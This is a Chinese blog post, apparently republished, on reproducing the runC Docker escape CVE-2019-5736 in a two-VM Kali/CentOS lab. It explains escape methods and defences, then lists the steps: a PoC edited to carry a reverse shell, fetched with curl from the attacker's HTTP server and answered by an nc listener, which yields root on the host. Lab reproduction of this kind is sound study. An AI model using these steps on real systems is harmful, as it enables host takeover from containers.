【Linux】kaili实现CVE-2019-5736漏洞复现

news2024/12/30 2:19:54

CVE漏洞复现

  • 一、了解docker逃逸
    • 1.Docker逃逸的原理
    • 2.常见的Docker逃逸方法
    • 3.如何防范Docker逃逸
  • 二、介绍POC,Payload,EXP,Shellcode
    • 1.POC(Proof of Concept):
    • 2.EXP(Exploit):
    • 3.Payload:
    • 4.Shellcode:
  • 三、介绍docker逃逸镜像
  • 四、实现CVE漏洞复现
    • 1.硬件环境
    • 2.网络部署
    • 3.更新yum源
    • 5.安装go编译环境和CVE
    • 6.centos配置docker
    • 7.kali开启http服务
    • 8.centos下载poc
    • 9.kali监听
    • 10.centos启动镜像源
    • 11.centos查看漏洞
    • 12.查看
    • 13.验证

一、了解docker逃逸

Docker逃逸是一个安全问题,指的是攻击者从Docker容器逃逸到宿主机系统,获取更高的权限,从而控制整个系统。下面我将详细介绍Docker逃逸的原理、常见方法以及如何防范。

1.Docker逃逸的原理

Docker容器是一种虚拟化技术,它通过在宿主机上创建隔离的环境来运行应用程序。然而,如果Docker容器的配置不当或者存在漏洞,攻击者就有可能利用这些漏洞逃逸出容器,进入宿主机系统。

2.常见的Docker逃逸方法

2.1.配置不当引起的逃逸:

1>Docker Remote API未授权访问:攻击者可以通过访问Docker Remote API来获取容器的敏感信息,甚至执行恶意操作。
2>docker.sock挂载到容器内部:如果docker.sock文件被挂载到容器内部,攻击者可以利用这个文件来与Docker守护进程通信,执行任意命令。
3>privileged特权模式启动docker:以特权模式启动的容器拥有与宿主机几乎相同的权限,攻击者可以利用这个权限来逃逸出容器。
4>挂载敏感目录:如果容器挂载了宿主机的敏感目录(如根目录),攻击者就有可能通过修改这些目录中的文件来逃逸出容器。

2.2.Docker软件设计引起的逃逸(漏洞):

1>runC容器逃逸漏洞(CVE-2019-5736):该漏洞允许攻击者在容器内部执行任意命令,从而逃逸出容器。
2>Docker cp命令(CVE-2019-14271):该漏洞允许攻击者通过Docker cp命令在容器与宿主机之间复制文件,可能导致信息泄露或逃逸。

2.3.内核漏洞引起的逃逸:脏牛漏洞(Dirty COW)是一个典型的内核漏洞引起的逃逸案例。攻击者可以利用这个漏洞在容器内部提升权限,获取宿主机的root shell。

3.如何防范Docker逃逸

3.1.限制容器的权限:不要以特权模式运行容器,避免挂载敏感目录或文件,限制容器的网络访问等。
3.2.及时修补漏洞:关注Docker官方的安全公告,及时修补已知漏洞,确保你的Docker环境是最新版本。
3.3.监控和审计:定期监控和审计Docker环境的安全状况,发现异常行为及时进行处理。
3.4.使用安全策略:采用合适的安全策略,如使用容器安全扫描工具、实施最小权限原则等。
3.5.隔离关键应用:将关键应用部署在单独的容器中,降低潜在的风险。

换言之,Docker逃逸,听起来好像是某个科幻电影里的情节,但实际上,这是我们IT界的一个热门话题。想象一下,你正在一个安静的Docker容器里享受你的代码世界,突然,你发现你可以“越狱”——逃离这个容器,进入主机系统。这就是所谓的Docker逃逸。
Docker逃逸,简单来说,就是攻击者利用Docker容器的漏洞,从容器内部逃逸到宿主机上,获得宿主机的访问权限。这就像是一个小偷,本来只是潜入了你家的一间卧室,但是他发现卧室的窗户没关紧,于是他就跳了出去,进入了整个房子。
Docker逃逸的危害是巨大的。一旦攻击者成功逃逸,他们就可以访问和控制宿主机上的其他容器和应用程序,甚至可能完全控制整个系统。这就像是小偷不仅偷走了你卧室的东西,还可以自由进出你的客厅、厨房甚至保险箱。
所以,为了防止Docker逃逸,我们需要时刻保持警惕。确保你的Docker容器是最新版本的,及时修补已知漏洞。同时,限制容器的权限,不要让它们有太多不必要的访问权限。这就像是不仅要关好卧室的窗户,还要锁好大门和保险箱一样。

二、介绍POC,Payload,EXP,Shellcode

1.POC(Proof of Concept):

概念:POC,即“概念验证”,是为了验证某一概念或理论的可行性而创建的较短且可能不完整的实现。在计算机安全术语中,POC常被用作0day、exploit的别名。
目的:POC的主要目的是为了展示和证明某个漏洞或攻击方法的实际存在和可行性,而并非为了实施攻击。

POC就像是那个总爱炫耀的孩子,老是要向大家证明他能做到什么。在黑客世界里,POC就是那个展示漏洞存在的小把戏。比如,一个黑客发现了你家大门的锁有问题,他就会制作一个POC视频,展示怎么用这个漏洞打开你家大门。当然,这只是为了证明他发现了问题,并不是真的要闯进来。

2.EXP(Exploit):

概念:EXP特指可利用系统漏洞进行攻击的动作程序。简单地说,当黑客发现一个系统、应用或服务的漏洞时,他们可能会开发一个EXP来利用这个漏洞,进而实施攻击。
目的:EXP的主要目的是为了利用已知的漏洞来入侵系统或执行恶意操作。

EXP就是那个精通各种开锁技巧的专家。他知道怎么利用你家大门的漏洞来打开门,而且还知道怎么做得最快最有效。在黑客世界里,EXP就是那个利用已知漏洞来攻击的软件或代码。有了它,黑客就能轻易地进入系统,就像专业的小偷一样。

3.Payload:

概念:“Payload”中文为“有效载荷”,指的是成功exploit之后,真正在目标系统上执行的代码或指令。换句话说,当EXP成功地利用了某个漏洞后,它会释放Payload来执行实际的攻击操作。
目的:Payload的目的是为了完成攻击者的最终目标,这可能是窃取数据、安装后门、执行恶意命令等。

Payload就是那个潜入你家的坏人携带的大包裹。在黑客术语里,Payload就是那个真正执行恶意操作的代码。比如,黑客可能会用一个小的POC来骗你点击一个链接,然后Payload就会悄无声息地安装在你电脑上,为所欲为。

4.Shellcode:

概念:Shellcode是Payload的一种,得名于它的功能——建立正向/反向shell。简单来说,Shellcode是一段代码,当它被注入到目标系统并执行时,可以为攻击者提供一个命令行界面或shell访问权限。
目的:Shellcode的主要目的是为了给攻击者提供一个与系统交互的界面,使他们能够执行任意命令并控制系统。

Shellcode就是那个小偷进门后用来开保险箱的“万能钥匙”。在黑客术语里,Shellcode是一段用于利用软件漏洞的代码,通常用于远程控制或者提升权限。一旦黑客成功地将Shellcode注入到你的系统里,他就能为所欲为,就像拥有了整个房子的钥匙一样。

总结:这四个术语代表了黑客攻击的不同阶段和工具。从发现漏洞(POC),到携带恶意代码(Payload),再到利用漏洞(EXP),最后到控制系统(Shellcode),这些都是黑客常用的手段。所以,为了保护自己的“房子”,我们需要时刻保持警惕,不要让这些“小偷”有机可乘!

三、介绍docker逃逸镜像

Docker逃逸镜像是一个经过特别设计的Docker镜像,用于模拟和测试Docker环境中的逃逸场景。通过使用这个镜像,安全研究人员和开发人员可以更好地了解Docker容器的安全性,并发现潜在的逃逸漏洞。
这个逃逸镜像通常包含了已知的逃逸漏洞和攻击方法,以便测试人员能够模拟攻击者的行为并尝试逃逸出容器。它提供了一个安全的测试环境,允许测试人员对Docker容器进行各种攻击尝试,以验证容器的安全性。

使用Docker逃逸镜像进行测试的过程可以分为以下几个步骤:

1.部署逃逸镜像:测试人员将在Docker环境中部署逃逸镜像,创建一个容器实例来模拟目标系统。
2.执行攻击:测试人员将使用逃逸镜像中提供的攻击方法和工具来尝试从容器中逃逸出来。这包括利用已知的漏洞、执行恶意命令等。
3.监控和记录:在测试过程中,测试人员需要密切监控系统的状态和行为,并记录任何成功的逃逸尝试。
4.分析结果:测试完成后,测试人员将分析测试结果,评估容器的安全性,并提供改进建议。

换言之

Docker逃逸镜像,听起来像是某个魔法师手中的神秘魔镜,但实际上,它可比那更有“魔法”!让我带你领略一下它的神奇之处。
想象一下,你正在一个拥挤的Docker容器集会上,突然,一个神秘人物出现了,手里还拿着一面闪闪发光的镜子。他大声宣布:“各位,这就是传说中的Docker逃逸镜像!只要使用它,你就能逃离这个容器的束缚,探索更广阔的世界!”
这面“逃逸镜像”就像一个秘密通道,让你能够穿越Docker容器的边界,直接接触到底层宿主机系统。你只需对着镜子念一句咒语:“我要出去!”然后,你就会发现自己已经置身于宿主机系统的广阔天地之中。
当然,这个逃逸镜像并不是为了让你四处闲逛、搞恶作剧。它的存在是为了帮助开发人员和安全研究人员更好地了解Docker容器的安全性,并发现潜在的逃逸漏洞。通过使用这个镜像,你可以模拟攻击者的行为,测试你的容器是否能够抵御逃逸攻击。
不过,要小心使用这面“魔镜”哦!一旦你掌握了逃逸的能力,就要承担起保护系统安全的责任。记得在测试完毕后及时销毁这个镜像,以免它落入坏人之手。
总的来说,Docker逃逸镜像是一个有趣的工具,让我们能够在安全研究中更加灵活地进行实验和测试。但是,请务必谨慎使用,并确保你的容器足够强大,能够抵御各种逃逸攻击的魔法!

四、实现CVE漏洞复现

1.硬件环境

虚拟机硬件规格:2CPU 60GB
虚拟机数量: 2台
虚拟机操作系统:kali-linux-2023.2-live-amd64.iso 、CentOS-7-x86_64-DVD-2009.iso

2.网络部署

  • 在命令行终端输入vi /etc/network/interfaces,进入interfaces文件,输入如下指令:
# vi /etc/network/interfaces

auto eth0
iface eth0 inet static
address 10.0.0.200
netmask 255.255.255.0
gateway 10.0.0.2

在这里插入图片描述

  • 在命令行终端输入vi /etc/resolv.conf,进入resolv.conf文件,输入如下指令:
# vi /etc/resolv.conf

nameserver 114.114.114.114
nameserver 8.8.8.8
# ping 10.0.0.2			//拼通网关
# ping www.baidu.com		//连接外网
# systemctl restart networking		//重启网络服务
# ip a			//查看网络
  • ssh远程连接
# systemctl status ssh		//查看远程连接状态
# systemctl enable --now ssh		//开启远程连接
# systemctl status ssh		//查看远程连接是否开启成功

3.更新yum源

# cd /etc/apt		//进入apt目录
# view sources.list		//2.编辑sources.list文件

//增加
deb http://mirrors.tuna.tsinghua.edu.cn/kali kali-rolling main contrib non-free
deb-src https://mirrors.tuna.tsinghua.edu.cn/kali kali-rolling main contrib non-free

在这里插入图片描述

# apt update		//系统软件包更新

在这里插入图片描述

5.安装go编译环境和CVE

# apt install -y golang

在这里插入图片描述

  • 上传编译利用文件,输入cd /home/leyi,进入leyi目录下;ls -l,查看文件是否上传到leyi目录下

[文件在评论区获取]

# unzip CVE-2019-5736-PoC-master.zip	//将文件进行解压缩

在这里插入图片描述

# cd CVE-2019-5736-PoC-master.zip		//进入解压缩后的文件里

在这里插入图片描述

  • go version,查看go软件包版本

在这里插入图片描述

  • view main.go,编辑POC文件

编辑如下:(加入反弹shell的命令)

在这里插入图片描述

# CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build main.go		//编译POC
# ls -l			//查看编译后该目录下的新增文件

6.centos配置docker

# docker -v		//查看docker版本,docker版本需低于18.09.2
# Docker-runc -v		//查看runc版本,runc版本需低于1.0-rc6

在这里插入图片描述

# docker images		//查看docker中安装的镜像源
# docker images | grep ‘ubuntu’		//安装ubuntu镜像源
# docker run -it ubuntu:18.04/bin/bash”		//运行ubuntu镜像源,此时进入ubuntu镜像源中,输入exit退出
# docker images | grep ‘ubuntu’		//确认是否成功安装ubuntu镜像源
# docker container ls -a | grep ‘ubuntu’		//查看ubuntu镜像源

在这里插入图片描述

7.kali开启http服务

# python -m http.server 7987		//开启HTTP服务

在这里插入图片描述

8.centos下载poc

# curl -O http://10.0.0.200:7987/main		//下载POC
# ls -l		//查看文件是否下载成功

在这里插入图片描述

9.kali监听

# 1.nc -lvnp 12345		//开启监听

在这里插入图片描述

10.centos启动镜像源

# docker start 745c		//(ID指令前四位),启动镜像源
# docker container ls -a | grep ‘ubuntu’,		//查看ubuntu镜像源

在这里插入图片描述

# docker cp ./main 745c:/home		//拷贝POC
# docker exec -it 745c /bin/sh,进入docker bash
输入:
#cd /home
#ls
在镜像源中执行POC:

#chmod 777 main
#./main
至此,POC运行成功

在这里插入图片描述

11.centos查看漏洞

# docker container ls -a | grep ‘ubuntu’		//查看ubuntu镜像源
# docker exec -it 745c /bin/bash,再次进入docker		//此时kali和centos图标变蓝,说明漏洞植入成功

在这里插入图片描述

12.查看

  • 查看centos,输出如图:

在这里插入图片描述

  • 查看kali,输出如图:

在这里插入图片描述
获得一串代码,说明kali获得centos的root用户权限,可以控制centos

13.验证

  • 在kali输入ip a或者输入mkdir /home/leyi/xxxx(在kali中的leyi目录下建立xxxx新目录)
  • 如果kali的IP中增加了centos的IP或者在centos中的leyi目录下出现了xxxx目录,则证明CVE漏洞复现成功

在这里插入图片描述
在这里插入图片描述

CVE漏洞复现成功!!!

按照这些步骤,能够实现CVE漏洞复现。如果在操作过程中遇到了其他问题,可以参考相关文档或者寻求更详细的指导。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1647722.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

学习c#第26天 面向对象基础之类与对象

1.类 1.什么是类? 俗话说,“物以类聚,人以群分”。意思是同类的东西经常聚在一起,志同道合 的人相聚成群。前者说物,后者说人。这里以物来进行举例说明[见图]: 水果超市,所有同类的水果摆放在一起&#xf…

数据同步新突破!一招解决文化公司系统对接难题!

一、客户介绍 某文化传播有限公司,是一家专注于文化艺术领域,集创作、制作、交流等多功能于一体的公司。公司始终秉承创意和质量的双重标准,为观众带来一系列高质量的文化艺术作品。该公司的经营范围广泛,涵盖了组织文化艺术交流…

09 华三 SSH

03 华三SSH 远程登录 1 AI解说官网 Kimi.ai - 帮你看更大的世界 (moonshot.cn) 华三交换机的SSH配置主要目的是通过SSH协议实现安全的远程登录和管理,以确保数据传输的安全性。以下是配置SSH的一般步骤和思路: 生成密钥对:首先需要在交换…

libcity 笔记:libcity/executor/traj_loc_pred_executor.py

1 构造函数 2 _build_optimizer 根据配置中指定的优化器类型创建并返回一个适合用于模型训练的优化器对象 3 _build_scheduler 构建一个学习率调度器(scheduler) 4 train 5 run 6 _valid_epoch 7 load_model & save_model 保存/加载模型的状态字…

应急响应靶机训练-近源渗透OS-1

前言 应急响应靶机训练,为保证每位安服仔都有上手的机会,不做理论学家,增加动手经验,可前来挑战应急响应靶机-近源渗透OS1,此系列后期会长期更新,关注本公众号,被动学习。 挑战内容 前景需要:…

Coze扣子开发指南:怎样建立一个工作流?

Coze扣子的工作流支持通过可视化的方式,对插件、大语言模型、代码块等功能进行组合,从而实现复杂、稳定的业务流程编排。​ 简单的说,目前阶段,单独靠大语言模型能完成的任务还是有限的,那怎么办呢?解决方案…

我独自升级崛起游戏账号登录注册教程 (5.8最新版)

新韩漫公司所发布的这项动作游戏已向玩家们敞开大门,为大家带来了前所未有的游戏体验和乐趣。这个游戏内包含了大量令人着迷的故事、令人印象深刻的战斗场景以及丰富多样的娱乐元素。在这其中最为引人注目的一点就是游戏内容中融入了“虚拟角色”的元素,…

Open CASCADE学习|三重正交标架法则

三重正交标架(Trihedron) 定义:三重正交标架是在三维空间中定义的一个坐标系,由三个互相垂直的向量构成。这些向量分别是: 切线向量(Tangent Vector) - 表示曲线在某一特定点处的切线方向。 主法线向量&…

perl:用 MIDI::Simple 生成midi文件,用 pygame 播放 mid文件

在 csdn.net 下载 strawberry-perl-5.32.1.1-64bit.zip 解压安装在 D:\Strawberry\ 运行 cpan install MIDI::Simple D:\Strawberry\c\bin\gmake.exe test -- OK Running make install for CONKLIN/MIDI-Perl-0.84.tar.gz Installing D:\Strawberry\perl\site\lib\MIDI.pm I…

优惠券样式案例

优惠券样式案例 <template><view class"box"><view class"boxItem"><img src"../../../static/come.png" alt"" class"img"/><span class"icon">&#xffe5;</span><s…

TalkingGaussian:基于高斯溅射的结构保持3D说话人头合成

TalkingGaussian: Structure-Persistent 3D Talking Head Synthesis via Gaussian Splatting TalkingGaussian&#xff1a;基于高斯溅射的结构保持3D说话人头合成 Jiahe Abstract 摘要 TalkingGaussian: Structure-Persistent 3D Talking Head Synthes…

PowerShell ⇒ Excel 批量创建Excel

New-Object -ComObject Excel.Application&#xff1a;创建Excel对象[System.Runtime.Interopservices.Marshal]::ReleaseComObject($excel) | Out-Null 用来显式释放 Excel COM 对象的资源&#xff0c;以确保在脚本执行完成后&#xff0c;释放 Excel 进程和相关资源&#xff0…

Java多线程:常见的线程的创建方法及Thread类详解

目录 一.并发编程相关概念 线程与进程 多线程 Java中线程的状态 二.线程的创建方法 方法一&#xff1a;继承Thread类 方法二&#xff1a;实现Runnable接口 其他方法 三.Thread类详解 Thread常见构造方法 Thread常见属性 Thread常见方法 start() 与 run() sleep(…

sqlmodel实现唯一性校验3,检查多列同时重复

之前的方案虽然能够解决重复性问题&#xff0c;但是没有覆盖到多列同时重复的情况。 比如&#xff0c;我们可以认为用户名是可以重复的。但是用户名和年龄不能同时重复&#xff0c;那么这种情况该怎么解决呢&#xff1f; 之前的代码如下&#xff1a; from sqlalchemy import…

低优先级线程可能会使用 100% CPU

经常会有人问我这样的问题&#xff1a; 我将一个线程设置为低优先级&#xff0c;当我的应用程序运行起来之后&#xff0c;我在任务管理器中看到应用程序占满了接近 100% 的 CPU&#xff0c;这就有点奇怪了&#xff0c;难道低优先级设定没有起作用&#xff1f; 我想指出的是&a…

Pytorch入门实战 P09-YOLOv5里面的Backbone模块搭建网络

目录 1、YOLOv5的模型图。 2、BackBone简单介绍。 3、YOLOv5的Backbone文件。 4、YOLOv5Backbone的code部分 5、完整的code部分 6、结果展示 &#xff08;1&#xff09;Adam优化器 &#xff08;2&#xff09;SGD优化器 &#x1f368; 本文为&#x1f517;365天深度学习…

羊大师解析,鲜为人知的羊奶冷知识

羊大师解析&#xff0c;鲜为人知的羊奶冷知识 羊奶的脂肪球更小&#xff1a;相较于牛奶&#xff0c;羊奶中的脂肪球直径更小&#xff0c;这有助于其更快地被人体消化和吸收。 羊奶含有更多的中链脂肪酸&#xff1a;羊奶中含有较多的中链脂肪酸&#xff08;MCT&#xff09;&am…

WiFine通信与Wi-sun通信对比

调制速率 WiFine通信&#xff1a;(G)FSK 50Kbps~500Kbps &#xff1b;LoRa 5Kbps~37.5Kbps Wi-Sun通信&#xff1a;(G)FSK 50Kbps~300Kbps &#xff1b;QPSK/OFDM 计划中… 2、协议简介 WiFine通信&#xff1a;为低成本、低功耗、移动设备倾力打造 的轻量级、分布式无线移动…

Stateflow基础知识笔记

01--Simulink/Stateflow概述 Stateflow是集成于Simulink中的图形化设计与开发工具&#xff0c;主要 用于针对控制系统中的复杂控制逻辑进行建模与仿真&#xff0c;或者说&#xff0c; Stateflow适用于针对事件响应系统进行建模与仿真。 Stateflow必须与Simulink联合使用&#…

阿赵UE引擎C++编程学习笔记——HelloWorld

大家好&#xff0c;我是阿赵。   从这一篇开始学习虚幻引擎的C编程。   学习所有编程好像都应该从HelloWorld开始&#xff0c;所以我这里也不例外。不过为了能打印出HelloWorld&#xff0c;需要做的事情还不少。不过到了能打印出HelloWorld的时候&#xff0c;我感觉学习的过…